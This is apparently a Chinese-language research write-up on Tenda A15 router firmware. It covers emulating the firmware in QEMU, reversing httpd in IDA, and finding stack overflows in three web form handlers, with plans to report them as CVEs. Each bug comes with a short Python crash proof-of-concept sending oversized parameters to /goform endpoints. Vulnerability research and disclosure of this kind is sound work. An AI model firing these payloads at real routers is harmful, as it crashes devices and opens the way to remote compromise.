前言
几个星期前,初来训练营,初学AC15的漏洞挖掘。前几天偶然发现AC15有新的漏洞CVE-2025-0566,打算看看。发现该漏洞属于A15设备,并非AC15,那就顺水推舟分析下A15固件安全吧。
固件模拟
固件解压
下载后,使用binwalk解压

查看固件架构
使用file命令,得知是MIPS LSB 32位架构

checksec

未开启Canary和PIE
固件信息收集
使用firmwalker 进行固件信息收集
~/Desktop/Apps/firmwalker_pro main*
❯ ./firmwalker.sh ~/Desktop/Firmwares/a15/squashfs-root > ~/Desktop/Firmwares/a15/firm
walker_scan.txt

发现 web 服务是httpd程序
启动项分析

查看/etc_ro/init.d/rcS文件进行启动项分析,可知启动项进行了拷贝文件夹。
我们也跟着手动创建一遍,可以避免后面程序模拟启动,文件夹为空的问题。
用户模拟
我们开始先尝试qemu用户模拟
~/Desktop/Firmwares/a15/squashfs-root
❯ cp $(which qemu-mipsel-static) qemu-mipsel-static
~/Desktop/Firmwares/a15/squashfs-root
❯ sudo chroot . ./qemu-mipsel-static ./bin/httpd

发现能成功启动,但ip配置错误,这里我们就要使用ida进行分析了
逆向分析httpd
查找赋值ip的位置


向上查找,查看sockaddr.sin_addr 被赋值的地方

得知是函数参数进行赋值的
按x查看该函数的交叉引用,

继续交叉引用查找

发现是br0IP 赋值给了程序的ip,所以我们这里得知ip地址是br0网卡的ip,于是我们开始创建br0网卡
创建br0
sudo brctl addbr br0
sudo ifconfig br0 192.168.0.1

成功创建
再次启动
做完上面这些之后,我们还要把固件包中
webroot_ro文件夹的内容复制到webroot里面,不然网页端会提示page not found,这点我们可以由前面启动项分析得出。
~/Desktop/Firmwares/a15/squashfs-root/lib
❯ sudo chroot . ./qemu-mipsel-static ./bin/httpd


成功启动并访问。
系统模拟
前面尝试了用户模拟,接下来,我们来进行mipsel系统模拟
主机网卡配置脚本
注意:先把主机网卡配置好,再启动
qemu-system-mipsel脚本
#!/bin/bash
# 创建名为 tap0 的虚拟网络接口
sudo tunctl -t tap0
# 配置 tap0 接口的 IP 地址和子网掩码
sudo ifconfig tap0 192.168.0.4/24 up
# 启用 IP 转发
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null
# 配置 NAT (假设物理机外网接口是 ens33)
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
# 允许 tap0 接口的数据包转发
sudo iptables -A FORWARD -i tap0 -j ACCEPT
sudo iptables -A FORWARD -o tap0 -j ACCEPT
echo "tap0 接口创建和配置完成。"
~/Desktop/Firmwares/qume_system
❯ ./net.sh
[sudo] password for kali:
Set 'tap0' persistent and owned by uid 0
tap0 接口创建和配置完成。
qemu-system-mipsel启动脚本
#!/bin/sh
qemu-system-mipsel \
-M malta \
-kernel /home/kali/Desktop/Apps/qemu-images/mipsel/vmlinux-2.6.32-5-4kc-malta \
-hda /home/kali/Desktop/Apps/qemu-images/mipsel/debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic \
-net nic -net tap,ifname=tap0,script=no,downscript=no
~/Desktop/Firmwares/qume_system
❯ sudo ./mipsel.sh
mips虚拟机
ip link add br0 type dummy
ifconfig eth0 192.168.0.5/24
ifconfig br0 192.168.0.6/24

传输文件

将文件进行传输,解压文件后,启动即可
chroot . sh
./bin/httpd

同样成功模拟。
ssh连接
启用ssh
sudo service ssh start
sudo service ssh status

直接ssh连接下,发现无法连接

查看openssl版本,发现是虚拟机ssh版本太老
解决方案:加上-oHostKeyAlgorithms=+ssh-rsa
~/Desktop/Firmwares/qume_system
❯ ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.0.5

成功ssh登录
逆向分析与漏洞挖掘

找到定义所有函数的地方,方便我们我们测试这些函数

我们要重点关注set 类型的函数,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险。
分析处理SetOnlineDevName 请求的formSetDeviceName 函数
我们先来查看formSetDeviceName 函数,它用于处理SetOnlineDevName 请求

由图可见,该函数是一个用于设置设备名称的,处理两个请求的参数mac和devName,然后使用set_device_name 方法进行处理,进去set_device_name 查看具体处理逻辑。

我们注意到,两个参数被传给了sprintf ,而sprintf由于未使用格式化字符,且两个参数都未限制长度和校验,因此存在栈溢出和格式化字符串漏洞
下面我们进行poc的编写
import requests
ip = '192.168.4.1'
url = f'http://{ip}/goform/SetOnlineDevName'
payload = {
"mac": '9c:fc:e8:da:9c:5b'*0x100,
"devName": 'devname1'
}
res = requests.post(url=url, data=payload)
print(res.content)

执行脚本后发现,程序并未崩溃,同时打印出了set device name error! 这与我们预期的不一致,打开ida,进行逆向分析
IDA patch

箭头处,就是问题所在,这个外部函数是进行写入nvram 设备的操作,而我们是qemu用户模拟所以导致这个函数调用会失败,导致判断if 进入打印报错。
这里我们直接进行patch,改变控制逻辑。

bnez (Branch if Not Equal to Zero) 是 MIPS 架构中的 条件分支指令,它的作用是:
如果寄存器的值不等于 0,则跳转到指定的标签(目标地址)。
这里我们直接patch为nop
在汇编语言中,
nop指令表示 "No Operation",即 空操作。执行这条指令时,处理器什么都不做,单纯消耗一个时钟周期。

然后保存patch结果即可
再次执行脚本
再次执行前面的脚本后,程序崩溃,证明存在该漏洞,攻击者任选mac和devName 参数即可进行攻击

分析处理setBlackRule请求的formAddMacfilterRule函数
接下来查看处理setBlackRule请求的formAddMacfilterRule函数

这个函数的主要功能是用于处理添加MAC地址过滤规则。
看到箭头处rule 接收的是deviceList 参数,然后给parse_macfilter_rule 进行处理。
我们跟进函数分析。

发现我们传入的deviceList 最终会作为source_rule拷贝给了dest_rule->name ,这个就是经典的strcpy 栈溢出漏洞,经过查看,前面也并未限制长度,只进行了\r 是否包含的校验,如下图

rule_tmp = strchr(source_rule, 13);
上述代码判断source_rule 是否包含\r ,如包含返回1,不包含返回0,因此我们要让代码执行到strcpy 处,必须要在我们的脚本参数中添加\n
我们开始编写poc
import requests
ip = '192.168.4.1'
url = f'http://{ip}/goform/setBlackRule'
payload = {
'deviceList': 'a' * 0x100+ '\r'
}
r = requests.post(url=url, data=payload)
print(r.content)

执行脚本后,程序成功崩溃
分析处理WifiExtraSet 请求的fromSetWirelessRepeat 函数

接下来我们分析处理WifiExtraSet 请求的fromSetWirelessRepeat 函数

ssida <- "originSsid5g"
ssid_encodea <- "encode5g"
securitya <- "security5g"
wpapsk_typea <- "wpapsk_type5g"
wpapsk_cryptoa <- "wpapsk_crypto5g"
wpapsk_keya <- "wpapsk_key5g"
这些参数都是我们前端post请求中需要携带的参数
然后sprintf打印出来后,交由if 中的set_repeat5 这个函数进行处理
我们进入这个函数,查看处理的代码

这个函数set_repeat5的主要功能是配置5GHz无线网络的参数。
虽然调用了一堆strcpy 函数,但我们真正关心上面方框位置处。
wpapsk_crypto 由我们前端发送的wpapsk_crypto5g 赋值,而它的值会拷贝给wpapsk_cryptovalue ,之前并未进行安全检查,所以我们可以利用该点作为栈溢出漏洞。
POC
下面我们来进行poc的编写,
import requests
ip = '192.168.4.1'
url = f'http://{ip}/goform/WifiExtraSet'
payload = {
'configured5g': 'true',
'originSsid5g': '1234',
'encode5g': '1234',
'security5g': 'wpapsk',
'wpapsk_type5g': 'wpa2',
'wpapsk_crypto5g': 'a'* 0x12,
'wpapsk_key5g': '1234567890'
}
res = requests.post(url=url, data=payload)
print(res)
设置WifiExtraSet 的其他参数正常填写,然后将wpapsk_crypto5g 参数用较长的字符数来填充实现缓冲区溢出。

执行我们的脚本,最终程序崩溃,漏洞点存在。
CVE申请
上述漏洞经过历史查找,并未找到对应申报情况,于是我们将发现的这个漏洞上报给CVE。

